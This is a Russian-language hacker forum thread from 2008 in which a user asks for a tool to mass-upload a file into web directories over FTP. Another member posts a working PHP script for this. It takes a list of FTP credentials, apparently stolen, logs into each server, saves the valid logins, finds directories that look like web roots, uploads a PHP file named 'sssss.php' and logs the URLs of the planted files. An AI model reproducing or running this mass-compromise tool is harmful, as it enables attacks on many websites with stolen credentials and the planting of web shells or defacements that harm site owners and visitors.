Ftp тулза

Discussion in 'Болталка' started by Хозяин, 16 May 2008.

  1. Хозяин

    Хозяин Elder - Старейшина

    Joined:
    15 Mar 2006
    Messages:
    435
    Likes Received:
    404
    Reputations:
    110
    Срочно нужна тулза, для работы с фтп.
    Не нужно ничего навороченного, грузить файл в веб диру (индекс к примеру, если его просто нет или перезаписывать его)

    /showthread.php?p=304586

    это работает как-то нестабильно, то грузит файл, то отказывается.

    Посоветуйте, заранее спасибо
     
  2. Полуночный Хэкер

    Joined:
    15 May 2008
    Messages:
    5
    Likes Received:
    6
    Reputations:
    3
    FileZilla +))) фтп клиентов то полно
     
  3. Хозяин

    Хозяин Elder - Старейшина

    Joined:
    15 Mar 2006
    Messages:
    435
    Likes Received:
    404
    Reputations:
    110
    Причем здесь файлзилла? мне массово нужно это делать
     
  4. Полуночный Хэкер

    Joined:
    15 May 2008
    Messages:
    5
    Likes Received:
    6
    Reputations:
    3
    запусти много файлзил)
     
  5. Piflit

    Piflit Banned

    Joined:
    11 Aug 2006
    Messages:
    1,249
    Likes Received:
    585
    Reputations:
    31
    d1ez money maker
     
  6. diehard

    diehard Elder - Старейшина

    Joined:
    30 Sep 2007
    Messages:
    442
    Likes Received:
    266
    Reputations:
    15
    вот мой мегапревадный скрипт писан недавно как раз для этих целей, читает список фтп, коннектится, выбирает диры похожие на веб-диры и записывает в каждую из них файл.

    PHP:
    <?
    set_time_limit(0);
    Error_Reporting(E_ALL & ~E_NOTICE);


    $all_ftp = file("ftp.txt");

    $remotefilename = "sssss.php";
    $localfilename = "sssss.php";

    function 
    iswebdir($dir){
      
    $strs = array("www", "html", "http", "docs");
      foreach (
    $strs as $ptrn){
        if (
    strstr($dir, $ptrn)) 
          return 
    1;
      }
      return 
    0;
    }

    function 
    writelog($txt){
      
    $flog = fopen("log.txt", "a");
      
    fwrite($flog, $txt."\r\n");
      
    fclose($flog);
    }

    for (
    $i=0; $i<sizeof($all_ftp); $i++){
      
    $ftp = trim($all_ftp[$i]);
      
    $fcurr = fopen("current.txt", "w");
      
    fwrite($fcurr, $i."\r\n".$ftp);
      
    fclose($fcurr);

      
    $login="";
      
    $pass="";
      
    $account=eregi_replace("\n|\r|ftp://","",trim($ftp));
      
    $host=str_replace("/","",substr($account,strrpos($account,"@")+1));
      
    $loginpass=substr($account,0,strrpos($account,"@"));
      @list(
    $login,$pass)=@explode(":",$loginpass,2);

      
    $conn = ftp_connect($host, 21, 10);
      if (!
    $conn) {
        
    //writelog("Not connect $ftp");
        
    continue;
      } 
    //else writelog("Connect to $ftp");

      
    $login_result = ftp_login($conn, $login, $pass);
      if (!
    $login_result) {
        
    //writelog("Wrong login $ftp");
        
    ftp_quit($conn);
        continue;
      } 
    //else writelog("Login to $ftp");

      
    $fvalid = fopen("valid.txt", "a");
      
    fwrite($fvalid, $ftp."\r\n");
      
    fclose($fvalid);

      
    ftp_pasv($conn, true);
      
    $rootdir = ftp_pwd($conn);
      
    //writelog("pwd=$rootdir");
      
    $webdirs = array($rootdir);
      
    $filelist = ftp_rawlist($conn, $rootdir);
      foreach (
    $filelist as $raw){
        
    $filename = trim(substr($raw, strrpos($raw, " ")));
        
    $len = strlen($filename);
        if (
    substr($filename, $len-1) == "/") 
          
    $filename = substr($filename, 0, $len - 1);
        if (
    $slash = strrpos($filename, "/"))
          
    $filename = substr($filename, $slash + 1);
        if (
    substr($raw, 0, 1) == "d"){ //directory
          
    if (iswebdir($filename)){
        
    //writelog("webdit ".$rootdir."/".$filename);
        
    $webdirs[] = $rootdir."/".$filename;
          }
          }
        }

      foreach (
    $webdirs as $dir){
        
    $f1 = $dir."/".$remotefilename;
        
    $f2 = $localfilename;
        if (
    ftp_put($conn, $f1, $f2, FTP_BINARY))
        
    //writelog("uploaded $f2 to $f1");
        
    writelog("http://".$host."/sssss.php");
         
    //else
        //writelog("cannot upload $f2 to $f1");
      
    }  

      
    ftp_quit($conn);
    }

    ?>
     
  7. Хозяин

    Хозяин Elder - Старейшина

    Joined:
    15 Mar 2006
    Messages:
    435
    Likes Received:
    404
    Reputations:
    110
    Спасибо, это именно то, что нужно!